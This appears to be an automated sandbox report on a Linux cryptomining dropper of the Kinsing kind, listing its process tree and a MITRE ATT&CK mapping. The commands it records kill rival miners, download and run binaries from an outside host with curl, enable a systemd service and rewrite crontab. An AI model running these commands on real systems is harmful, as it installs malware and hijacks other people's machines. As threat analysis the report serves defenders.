  grep -v grep
  2⤵
  PID:2024
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2025
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2026
- /bin/grep
  grep ./ll1
  2⤵
  PID:2023
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:2022
- /usr/bin/awk
  awk "{if(\$3>80.0) print \$2}"
  2⤵
  PID:2030
- /bin/grep
  grep -v grep
  2⤵
  PID:2029
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2031
- /bin/grep
  grep agetty
  2⤵
  PID:2028
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  PID:2027
- /usr/bin/pkill
  pkill -f 42.112.28.216
  2⤵
  - Reads CPU attributes
  PID:2032
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:2035
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:2036
- /bin/grep
  grep 207.38.87.6
  2⤵
  PID:2034
- /bin/grep
  grep -v -
  2⤵
  PID:2037
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2038
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:2041
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:2042
- /bin/grep
  grep 23.94.214.119
  2⤵
  PID:2040
- /bin/grep
  grep -v -
  2⤵
  PID:2043
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2044
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:2048
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:2047
- /bin/grep
  grep 127.0.0.1:52018
  2⤵
  PID:2046
- /bin/grep
  grep -v -
  2⤵
  PID:2049
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2050
- /bin/grep
  grep 34.81.218.76:9486
  2⤵
  PID:2052
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:2053
- /bin/grep
  grep -v -
  2⤵
  PID:2055
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:2054
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2056
- /bin/grep
  grep 42.112.28.216:9486
  2⤵
  PID:2058
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:2059
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:2060
- /bin/grep
  grep -v -
  2⤵
  PID:2061
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2062
- /usr/bin/pkill
  pkill -f .git/kthreaddw
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2063
- /usr/bin/pkill
  pkill -f 80.211.206.105
  2⤵
  - Reads CPU attributes
  PID:2064
- /usr/bin/pkill
  pkill -f 207.38.87.6
  2⤵
  - Reads CPU attributes
  PID:2065
- /usr/bin/pkill
  pkill -f p8444
  2⤵
  - Reads CPU attributes
  PID:2066
- /usr/bin/pkill
  pkill -f supportxmr
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2067
- /usr/bin/pkill
  pkill -f monero
  2⤵
  - Reads CPU attributes
  PID:2068
- /usr/bin/pkill
  pkill -f kthreaddi
  2⤵
  - Reads CPU attributes
  PID:2069
- /usr/bin/pkill
  pkill -f srv00
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2070
- /usr/bin/pkill
  pkill -f /tmp/.javae/javae
  2⤵
  - Reads CPU attributes
  PID:2071
- /usr/bin/pkill
  pkill -f .javae
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2072
- /usr/bin/pkill
  pkill -f .syna
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2073
- /usr/bin/pkill
  pkill -f xmm
  2⤵
  - Reads CPU attributes
  PID:2074
- /usr/bin/pkill
  pkill -f solr.sh
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2075
- /usr/bin/pkill
  pkill -f /tmp/.solr/solrd
  2⤵
  - Reads CPU attributes
  PID:2076
- /usr/bin/pkill
  pkill -f /tmp/javac
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2077
- /usr/bin/pkill
  pkill -f /tmp/.go.sh
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2078
- /usr/bin/pkill
  pkill -f /tmp/.x/agetty
  2⤵
  - Reads CPU attributes
  PID:2079
- /usr/bin/pkill
  pkill -f /tmp/.x/kworker
  2⤵
  - Reads CPU attributes
  PID:2080
- /usr/bin/pkill
  pkill -f c3pool
  2⤵
  - Reads CPU attributes
  PID:2081
- /usr/bin/pkill
  pkill -f /tmp/.X11-unix/gitag-ssh
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2082
- /usr/bin/pkill
  pkill -f /tmp/1
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2083
- /usr/bin/pkill
  pkill -f /tmp/okk.sh
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2084
- /usr/bin/pkill
  pkill -f /tmp/gitaly
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2085
- /usr/bin/pkill
  pkill -f /tmp/.x/kworker
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2086
- /usr/bin/pkill
  pkill -f 43a6eY5zPm3UFCaygfsukfP94ZTHz6a1kZh5sm1aZFB
  2⤵
  - Reads CPU attributes
  PID:2087
- /usr/bin/pkill
  pkill -f /tmp/.X11-unix/supervise
  2⤵
  - Reads CPU attributes
  PID:2088
- /usr/bin/pkill
  pkill -f /tmp/.ssh/redis.sh
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2089
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  PID:2090
- /bin/grep
  grep ./udp
  2⤵
  PID:2091
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2094
- /bin/grep
  grep -v grep
  2⤵
  PID:2092
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2093
- /bin/sed
  sed -i "s/^0//" /tmp/.X11-unix/01
  2⤵
  - Removes the immutable protection flag from a file
  PID:2095
- /bin/cat
  cat /tmp/.X11-unix/01
  2⤵
  PID:2096
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2097
- /bin/sed
  sed -i "s/^0//" /tmp/.X11-unix/11
  2⤵
  - Removes the immutable protection flag from a file
  PID:2098
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2100
- /bin/cat
  cat /tmp/.X11-unix/11
  2⤵
  PID:2099
- /bin/sed
  sed -i "s/^0//" /tmp/.X11-unix/22
  2⤵
  - Removes the immutable protection flag from a file
  PID:2101
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2103
- /bin/cat
  cat /tmp/.X11-unix/22
  2⤵
  PID:2102
- /bin/sed
  sed -i "s/^0//" /tmp/.systemd.1
  2⤵
  - Removes the immutable protection flag from a file
  PID:2104
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2106
- /bin/cat
  cat /tmp/.systemd.1
  2⤵
  PID:2105
- /bin/sed
  sed -i "s/^0//" /tmp/.systemd.2
  2⤵
  - Removes the immutable protection flag from a file
  PID:2107
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2109
- /bin/cat
  cat /tmp/.systemd.2
  2⤵
  PID:2108
- /bin/sed
  sed -i "s/^0//" /tmp/.systemd.3
  2⤵
  - Removes the immutable protection flag from a file
  PID:2110
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2112
- /bin/cat
  cat /tmp/.systemd.3
  2⤵
  PID:2111
- /bin/cat
  cat /tmp/.systemd.1
  2⤵
  PID:2113
- /bin/cat
  cat /tmp/.systemd.2
  2⤵
  PID:2114
- /bin/cat
  cat /tmp/.systemd.3
  2⤵
  PID:2115
- /bin/sed
  sed -i "s/^0//" /tmp/.pg_stat.0
  2⤵
  - Removes the immutable protection flag from a file
  PID:2116
- /bin/cat
  cat /tmp/.pg_stat.0
  2⤵
  PID:2117
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2118
- /bin/sed
  sed -i "s/^0//" /tmp/.pg_stat.1
  2⤵
  - Removes the immutable protection flag from a file
  PID:2119
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2121
- /bin/cat
  cat /tmp/.pg_stat.1
  2⤵
  PID:2120
- /bin/sed
  sed -i "s/^0//" /data/./oka.pid
  2⤵
  - Removes the immutable protection flag from a file
  PID:2122
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2124
- /bin/cat
  cat /data/./oka.pid
  2⤵
  PID:2123
- /bin/sed
  sed -i "s/^0//" /tmp/.ICE-unix/d
  2⤵
  - Removes the immutable protection flag from a file
  PID:2125
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2127
- /bin/cat
  cat /tmp/.ICE-unix/d
  2⤵
  PID:2126
- /bin/sed
  sed -i "s/^0//" /tmp/.ICE-unix/m
  2⤵
  - Removes the immutable protection flag from a file
  PID:2128
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2130
- /bin/cat
  cat /tmp/.ICE-unix/m
  2⤵
  PID:2129
- /usr/bin/pkill
  pkill -f zsvc
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2131
- /usr/bin/pkill
  pkill -f pdefenderd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2132
- /usr/bin/pkill
  pkill -f updatecheckerd
  2⤵
  - Reads CPU attributes
  PID:2133
- /usr/bin/pkill
  pkill -f cruner
  2⤵
  - Reads CPU attributes
  PID:2134
- /usr/bin/pkill
  pkill -f dbused
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2135
- /usr/bin/pkill
  pkill -f bashirc
  2⤵
  - Reads CPU attributes
  PID:2136
- /usr/bin/pkill
  pkill -f meminitsrv
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2137
- /bin/grep
  grep -v grep
  2⤵
  PID:2140
- /bin/grep
  grep ./oka
  2⤵
  PID:2139
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2141
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2142
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:2138
- /bin/grep
  grep -v grep
  2⤵
  PID:2145
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2146
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2147
- /bin/grep
  grep "postgres: autovacum"
  2⤵
  PID:2144
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:2143
- /bin/grep
  grep -v "\\["
  2⤵
  PID:2151
- /usr/bin/awk
  awk "length(\$1) == 8"
  2⤵
  PID:2149
- /bin/grep
  grep -v "("
  2⤵
  PID:2152
- /bin/grep
  grep -v php-fpm
  2⤵
  PID:2153
- /bin/grep
  grep -v bin
  2⤵
  PID:2150
- /bin/grep
  grep -v proxymap
  2⤵
  PID:2154
- /bin/ps
  ps ax -o "command,pid" -www
  2⤵
  - Reads CPU attributes
  PID:2148
- /bin/grep
  grep -v postgres
  2⤵
  PID:2155
- /bin/grep
  grep -v postgrey
  2⤵
  PID:2156
- /bin/grep
  grep -v kinsing
  2⤵
  PID:2157
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2158
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2159
- /bin/grep
  grep -v "\\["
  2⤵
  PID:2163
- /bin/grep
  grep -v bin
  2⤵
  PID:2162
- /bin/grep
  grep -v "("
  2⤵
  PID:2164
- /usr/bin/awk
  awk "length(\$1) == 16"
  2⤵
  PID:2161
- /bin/grep
  grep -v php-fpm
  2⤵
  PID:2165
- /bin/ps
  ps ax -o "command,pid" -www
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2160
- /bin/grep
  grep -v proxymap
  2⤵
  PID:2166
- /bin/grep
  grep -v postgres
  2⤵
  PID:2167
- /bin/grep
  grep -v postgrey
  2⤵
  PID:2168
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2169
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2170
- /bin/grep
  grep -v "\\["
  2⤵
  PID:2174
- /bin/grep
  grep -v bin
  2⤵
  PID:2173
- /usr/bin/awk
  awk "length(\$5) == 8"
  2⤵
  PID:2172
- /bin/grep
  grep -v "("
  2⤵
  PID:2175
- /bin/grep
  grep -v php-fpm
  2⤵
  PID:2176
- /bin/ps
  ps ax
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2171
- /bin/grep
  grep -v proxymap
  2⤵
  PID:2177
- /bin/grep
  grep -v postgres
  2⤵
  PID:2178
- /bin/grep
  grep -v postgrey
  2⤵
  PID:2179
- /usr/bin/awk
  awk "{print \$1}"
  2⤵
  PID:2180
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2181
- /bin/grep
  grep /tmp/sscks
  2⤵
  PID:2184
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2185
- /bin/grep
  grep -v grep
  2⤵
  PID:2183
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2186
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:2182
- /usr/bin/awk
  awk "{ print \$1 }"
  2⤵
  PID:2190
- /usr/bin/md5sum
  md5sum /etc/data/kinsing
  2⤵
  PID:2189
- /bin/rm
  rm -rf /etc/data/kinsing
  2⤵
  PID:2191
- /bin/chmod
  chmod 777 /etc/data/kinsing
  2⤵
  - File and Directory Permissions Modification
  PID:2192
- /usr/bin/curl
  curl -o /etc/data/kinsing http://78.153.140.16/kinsing
  2⤵
  PID:2193
- /bin/chmod
  chmod +x /etc/data/kinsing
  2⤵
  - File and Directory Permissions Modification
  PID:2194
- /usr/bin/awk
  awk "{ print \$1 }"
  2⤵
  PID:2198
- /usr/bin/md5sum
  md5sum /etc/data/kinsing
  2⤵
  PID:2197
- /usr/bin/md5sum
  md5sum /etc/data/libsystem.so
  2⤵
  PID:2201
- /usr/bin/awk
  awk "{ print \$1 }"
  2⤵
  PID:2202
- /bin/chmod
  chmod 777 /etc/data/libsystem.so
  2⤵
  - File and Directory Permissions Modification
  PID:2203
- /usr/bin/curl
  curl -o /etc/data/libsystem.so http://78.153.140.16/libsystem.so
  2⤵
  PID:2204
- /bin/chmod
  chmod +x /etc/data/libsystem.so
  2⤵
  - File and Directory Permissions Modification
  PID:2205
- /usr/bin/awk
  awk "{ print \$1 }"
  2⤵
  PID:2209
- /usr/bin/md5sum
  md5sum /etc/data/libsystem.so
  2⤵
  PID:2208
- /bin/chmod
  chmod 777 /etc/data/libsystem.so
  2⤵
  - File and Directory Permissions Modification
  PID:2210
- /usr/bin/curl
  curl -o /etc/data/libsystem.so http://78.153.140.16/libsystem.so
  2⤵
  PID:2211
- /bin/chmod
  chmod +x /etc/data/libsystem.so
  2⤵
  - File and Directory Permissions Modification
  PID:2212
- /usr/bin/md5sum
  md5sum /etc/data/libsystem.so
  2⤵
  PID:2215
- /usr/bin/awk
  awk "{ print \$1 }"
  2⤵
  PID:2216
- /bin/rm
  rm -rf /tmp/kdevtmpfsi
  2⤵
  PID:2217
- /bin/chmod
  chmod 777 /etc/data/kinsing
  2⤵
  - File and Directory Permissions Modification
  PID:2218
- /bin/chmod
  chmod +x /etc/data/kinsing
  2⤵
  - File and Directory Permissions Modification
  PID:2219
- /etc/data/kinsing
  /etc/data/kinsing
  2⤵
  PID:2220
- /usr/bin/id
  id -u
  2⤵
  PID:2222
- /bin/systemctl
  systemctl enable bot
  2⤵
  - Enumerates kernel/hardware configuration
  PID:2223
- /bin/systemctl
  systemctl start bot
  2⤵
  - Enumerates kernel/hardware configuration
  PID:2236
- /bin/sed
  sed /base64/d
  2⤵
  PID:2241
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2240
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2242
- /bin/sed
  sed /_cron/d
  2⤵
  PID:2244
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2245
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2243
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2248
- /bin/sed
  sed /31.210.20.181/d
  2⤵
  PID:2247
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2246
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2251
- /bin/sed
  sed /update.sh/d
  2⤵
  PID:2250
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2249
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2254
- /bin/sed
  sed /logo4/d
  2⤵
  PID:2253
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2252
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2257
- /bin/sed
  sed /logo9/d
  2⤵
  PID:2256
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2255
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2260
- /bin/sed
  sed /logo0/d
  2⤵
  PID:2259
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2258
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2263
- /bin/sed
  sed /logo/d
  2⤵
  PID:2262
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2261
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2266
- /bin/sed
  sed /tor2web/d
  2⤵
  PID:2265
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2264
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2269
- /bin/sed
  sed /jpg/d
  2⤵
  PID:2268
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2267
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2272
- /bin/sed
  sed /png/d
  2⤵
  PID:2271
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2270
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2275
- /bin/sed
  sed /tmp/d
  2⤵
  PID:2274
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2273
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2278
- /bin/sed
  sed /zmreplchkr/d
  2⤵
  PID:2277
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2276
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2281
- /bin/sed
  sed /aliyun.one/d
  2⤵
  PID:2280
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2279
- /bin/sed
  sed /3.215.110.66.one/d
  2⤵
  PID:2283
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2284
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2282
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2287
- /bin/sed
  sed /pastebin/d
  2⤵
  PID:2286
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2285
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2290
- /bin/sed
  sed /onion/d
  2⤵
  PID:2289
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2288
- /bin/sed
  sed /lsd.systemten.org/d
  2⤵
  PID:2292
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2293
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2291
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2296
- /bin/sed
  sed /shuf/d
  2⤵
  PID:2295
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2294
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2299
- /bin/sed
  sed /ash/d
  2⤵
  PID:2298
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2297
- /bin/sed
  sed /mr.sh/d
  2⤵
  PID:2301
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2302
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2300
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2305
- /bin/sed
  sed /185.181.10.234/d
  2⤵
  PID:2304
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2303
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2308
- /bin/sed
  sed /localhost.xyz/d
  2⤵
  PID:2307
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2306
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2314
- /bin/sed
  sed /45.137.151.106/d
  2⤵
  PID:2313
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2312
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2317
- /bin/sed
  sed /111.90.159.106/d
  2⤵
  PID:2316
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2315
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2320
- /bin/sed
  sed /github/d
  2⤵
  PID:2319
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2318
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2323
- /bin/sed
  sed /bigd1ck.com/d
  2⤵
  PID:2322
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2321
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2326
- /bin/sed
  sed /xmr.ipzse.com/d
  2⤵
  - System Network Configuration Discovery
  PID:2325
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2324
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2329
- /bin/sed
  sed /185.181.10.234/d
  2⤵
  PID:2328
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2327
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2332
- /bin/sed
  sed /91.241.19.134/d
  2⤵
  PID:2331
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2330
- /bin/sed
  sed /122.51.164.83/d
  2⤵
  PID:2334
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2335
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2333
- /usr/bin/crontab
  crontab -
  2⤵
  PID:2338
- /bin/sed
  sed /185.191.32.198/d
  2⤵
  PID:2337
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2336
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2341
- /bin/sed
  sed /newdat.sh/d
  2⤵
  PID:2340
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2339
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2344
- /bin/sed
  sed /lib.pygensim.com/d
  2⤵
  PID:2343
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2342
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2347
- /bin/sed
  sed /t.amynx.com/d
  2⤵
  PID:2346
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2345
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2350
- /bin/sed
  sed /update.sh/d
  2⤵
  PID:2349
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2348
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2353
- /bin/sed
  sed /systemd-service.sh/d
  2⤵
  PID:2352
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2351
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2356
- /bin/sed
  sed /pg_stat.sh/d
  2⤵
  PID:2355
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2354
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2359
- /bin/sed
  sed /sleep/d
  2⤵
  PID:2358
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2357
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2362
- /bin/sed
  sed /oka/d
  2⤵
  PID:2361
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2360
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2365
- /bin/sed
  sed /linux1213/d
  2⤵
  PID:2364
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2363
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2368
- /bin/sed
  sed "/#wget/d"
  2⤵
  PID:2367
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2366
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2371
- /bin/sed
  sed "/#curl/d"
  2⤵
  PID:2370
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2369
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2374
- /bin/sed
  sed /zsvc/d
  2⤵
  PID:2373
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2372
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2377
- /bin/sed
  sed /givemexyz/d
  2⤵
  PID:2376
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2375
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2383
- /bin/sed
  sed /world/d
  2⤵
  PID:2382

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

Shared Modules

T1129

Persistence

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Hijack Execution Flow

T1574

Dynamic Linker Hijacking

Scheduled Task/Job

T1053

Cron

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Sudo and Sudo Caching

T1548.003

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Hijack Execution Flow

T1574

Dynamic Linker Hijacking

Scheduled Task/Job

T1053

Cron

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Sudo and Sudo Caching

T1548.003

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Hijack Execution Flow

T1574

Dynamic Linker Hijacking